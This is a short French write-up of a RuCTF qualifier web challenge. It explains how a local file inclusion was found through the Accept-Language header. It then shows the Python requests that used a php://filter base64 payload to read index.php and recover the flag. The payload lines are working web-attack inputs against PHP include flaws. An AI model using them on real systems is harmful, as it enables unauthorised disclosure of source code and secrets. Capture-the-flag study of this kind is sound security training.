RUCTF - web100 PHP write-up

On nous donnait le lien suivant : http://w1.quals.ructf.org/

La page contenait un gros indice puisqu'elle nous apprenait que la langue était automatiquement détectée. Un petit tour (infructueux) dans les cookies plus tard, on regarde la requête :

GET http://w1.quals.ructf.org/
Host: w1.quals.ructf.org
[...]
Accept-Language: fr;fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
[...]

La détection de la langue risquant de passer uniquement par le champ Accept-Language du header, on fait un petit test en python :

print requests.get("http://w1.quals.ructf.org/index.php", headers={"Accept-Language" : "en"}).content
Nous donne la page en Anglais.

print requests.get("http://w1.quals.ructf.org/index.php", headers={"Accept-Language" : "ru"}).content
Nous donne la page en Russe.

On en déduit que la page risque d'être incluse sous la forme *include $_server['http_Accept_language'];*
On teste une LFI en essayant d'inclure index.php :

print requests.get("http://w1.quals.ructf.org/index.php", headers={"Accept-Language" : "index.php"}).content
[...]
CTF
CTF pre { width: 640px; white-space: normal; text-align: justify;}; CTF pre { width: 640px; white-space: normal;
[...]

Le fait d'inclure la page l'évalue, on ne peut donc pas voir directement son contenu. On va essayer de passer par un filtre PHP afin de transformer le fichier avant son inclusion. On encode le fichier en base64 :

print requests.get("http://w1.quals.ructf.org/index.php", headers={"Accept-Language" : "php://filter/read=convert.base64-encode/resource=index.php"}).content
PCFkb2N0eXBlIGh0b[...]go8L2h0bWw+Cg==

Il ne reste plus qu'à décoder :

>>> import base64
>>> print base64.decodestring("PCFkb2N0eXBlIGh0b[....]go8L2h0bWw+Cg==")
[...]
$flag = '5cf27d9bad2fe9d96d2bcf25c3b0bd14';
[...]

Spid3rman